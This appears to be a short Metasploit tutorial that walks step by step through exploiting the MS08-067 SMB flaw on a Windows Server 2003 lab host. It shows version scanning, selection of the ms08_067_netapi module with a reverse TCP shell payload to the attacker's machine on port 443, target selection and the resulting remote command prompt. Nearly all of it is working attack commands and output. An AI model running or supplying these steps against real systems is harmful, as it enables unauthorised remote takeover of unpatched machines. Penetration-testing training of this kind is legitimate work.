Tutorial: Metasploit Basics 3

Exploiting Vulnerable Server (MS08-067)

Local host: 131.107.1.252/24 (TEST-BT4)
Target host: 131.107.1.250/24 (DEN-WEB3)

Step 1: Switch to Metasploit Framework working directory

root@bt:~# cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3# ./msfconsole

Step 2: Determine the target's OS version

msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 131.107.1.250
msf auxiliary(smb_version) > run

[*] 131.107.1.250 is running Windows 2003 Service Pack 2
sniff...

Step 3: Search for smb pattern & use the correct exploit module (ms08-067)

msf > search smb

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 131.107.1.250
msf exploit(ms08_067_netapi) > set LHOST 131.107.1.252
msf exploit(ms08_067_netapi) > set LPORT 443
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP1 Japanese (NO NX)
9 Windows 2003 SP2 English (NO NX)
10 Windows 2003 SP2 English (NX)
11 Windows 2003 SP2 German (NO NX)
12 Windows 2003 SP2 German (NX)
13 Windows XP SP2 Arabic (NX)
sniff...

msf exploit(ms08_067_netapi) > set TARGET 10
msf exploit(ms08_067_netapi) > exploit

sniff...

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>